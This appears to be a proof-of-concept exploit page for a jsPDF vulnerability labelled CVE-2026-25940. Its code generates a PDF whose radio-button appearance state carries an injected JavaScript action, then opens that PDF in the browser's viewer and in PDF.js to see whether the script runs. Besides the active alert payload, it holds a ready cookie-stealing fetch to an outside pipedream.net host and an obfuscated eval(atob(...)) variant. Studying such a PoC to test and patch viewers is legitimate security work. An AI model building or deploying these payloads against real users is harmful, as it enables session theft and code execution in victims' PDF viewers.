5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / viewer.html HTML
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>jsPDF CVE-2026-25940 Viewer PoC</title>
  <style>
    body { font-family: "IBM Plex Sans", Arial, sans-serif; margin: 0; padding: 16px; background: linear-gradient(135deg, #0f172a, #111827); color: #e5e7eb; }
    h1 { margin: 0 0 12px; font-weight: 600; letter-spacing: -0.02em; }
    p { margin: 6px 0 12px; color: #cbd5e1; }
    button, input[type="file"] { margin-right: 8px; padding: 10px 14px; border: 1px solid #334155; border-radius: 8px; background: #1f2937; color: #e5e7eb; cursor: pointer; }
    button:hover { background: #273549; }
    .controls { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; margin-bottom: 12px; }
    .layout { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; height: 80vh; }
    .panel { background: #0b1020; border: 1px solid #1f2937; border-radius: 12px; padding: 12px; box-shadow: 0 10px 30px rgba(0,0,0,0.3); }
    canvas { width: 100%; border: 1px solid #1f2937; border-radius: 8px; background: #0f172a; }
    iframe { width: 100%; height: 100%; border: 1px solid #1f2937; border-radius: 8px; background: #fff; }
    small { color: #94a3b8; }
  </style>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/jspdf/4.1.0/jspdf.umd.min.js"></script>
  <!-- pdf.js primary CDN via jsDelivr (version pinned) -->
  <script src="https://cdn.jsdelivr.net/npm/[email protected]/build/pdf.min.js" crossorigin="anonymous"></script>
  <script>
    let pdfjsLib;

    async function ensurePdfJs() {
      if (pdfjsLib) return pdfjsLib;
      // First try global from the UMD build.
      pdfjsLib = window.pdfjsLib;
      if (pdfjsLib) {
        pdfjsLib.GlobalWorkerOptions.workerSrc = "https://cdn.jsdelivr.net/npm/[email protected]/build/pdf.worker.min.js";
        return pdfjsLib;
      }
      // Fallback to ESM build (helps when CDN blocks UMD).
      try {
        pdfjsLib = await import("https://cdn.jsdelivr.net/npm/[email protected]/build/pdf.min.mjs");
        pdfjsLib.GlobalWorkerOptions.workerSrc = "https://cdn.jsdelivr.net/npm/[email protected]/build/pdf.worker.min.mjs";
      } catch (err) {
        console.error("Failed to load pdf.js via CDN", err);
      }
      return pdfjsLib;
    }

    async function ensureJsPDF() {
      if (window.jspdf && window.jspdf.jsPDF) return window.jspdf.jsPDF;
      try {
        const mod = await import("https://cdn.jsdelivr.net/npm/[email protected]/dist/jspdf.umd.min.js");
        return mod.jsPDF;
      } catch (err) {
        console.error("Failed to load jsPDF", err);
        return null;
      }
    }

    async function generateMaliciousPdf() {
      const jsPDF = await ensureJsPDF();
      if (!jsPDF) return;
      const doc = new jsPDF();
      const group = new doc.AcroFormRadioButton();
      group.x = 10; group.y = 10; group.width = 20; group.height = 10;
      doc.addField(group);
      const child = group.createOption("opt1");
      child.x = 10; child.y = 10; child.width = 20; child.height = 10;
    //   child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
    const script = 'fetch("https://3b01c17073db791fa7d328bbfa08103f.m.pipedream.net?cookie=" + encodeURIComponent(document.cookie) + "&userAgent=" + encodeURIComponent(window.location.href) + "&referrer=" + encodeURIComponent(document.referrer)).then()?.then?.() || 1';
    // const script = 'eval(atob("Y29uc29sZS5sb2coJ3hzc3MnKXx8IHdpbmRvdy5jb25zb2xlLmxvZygnWFNTJykp"))';
      child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS');throw new Error('XSS')) >> >>";
        //  child.appearanceState = `Off /AA << /E << /S /JavaScript /JS (${script}) >> >>`;
         // Note: Some viewers may block alerts but still execute JS, so we use a fetch to demonstrate execution without relying on alert().
         // The fetch will send data to the specified URL, which can be observed in a service like Pipedream or RequestBin.
         // Adjust the URL and parameters as needed for your testing setup.
    
        //  doc.save("malicious.pdf");
      const blob = doc.output("blob");
      loadPdfBlob(blob);
    }

    function loadPdfBlob(blob) {
      const url = URL.createObjectURL(blob);
      // Feed iframe for native viewer behavior
      document.getElementById("nativeFrame").src = url;
      // Render first page via PDF.js to capture potential parsing paths
      renderWithPdfJs(url);
    }

    async function renderWithPdfJs(url) {
      const lib = await ensurePdfJs();
      if (!lib) return;
      const loadingTask = lib.getDocument(url);
      const pdf = await loadingTask.promise;
      const page = await pdf.getPage(1);
      const viewport = page.getViewport({ scale: 1.2 });
      const canvas = document.getElementById("pdfjsCanvas");
      const ctx = canvas.getContext("2d");
      canvas.width = viewport.width;
      canvas.height = viewport.height;
      await page.render({ canvasContext: ctx, viewport }).promise;
    }

    async function handleFileInput(event) {
      const file = event.target.files[0];
      if (!file) return;
      loadPdfBlob(file);
    }

    window.addEventListener("DOMContentLoaded", () => {
      document.getElementById("generateBtn").addEventListener("click", generateMaliciousPdf);
      document.getElementById("fileInput").addEventListener("change", handleFileInput);
    });
  </script>
</head>
<body>
  <h1>jsPDF CVE-2026-25940 Viewer</h1>
  <p>Generate the PoC PDF or load an existing sample to observe viewer behavior (alerts may be blocked by your PDF handler).</p>
  <div class="controls">
    <button id="generateBtn">Generate PoC PDF</button>
    <input id="fileInput" type="file" accept="application/pdf" />
    <small>Use the iframe to exercise native/browser PDF handling; the canvas uses PDF.js for parsing.</small>
  </div>
  <div class="layout">
    <div class="panel">
      <h3>Native/Browser Viewer</h3>
      <iframe id="nativeFrame" title="Native PDF Viewer"></iframe>
    </div>
    <div class="panel">
      <h3>PDF.js Render</h3>
      <canvas id="pdfjsCanvas"></canvas>
    </div>
  </div>
</body>
</html>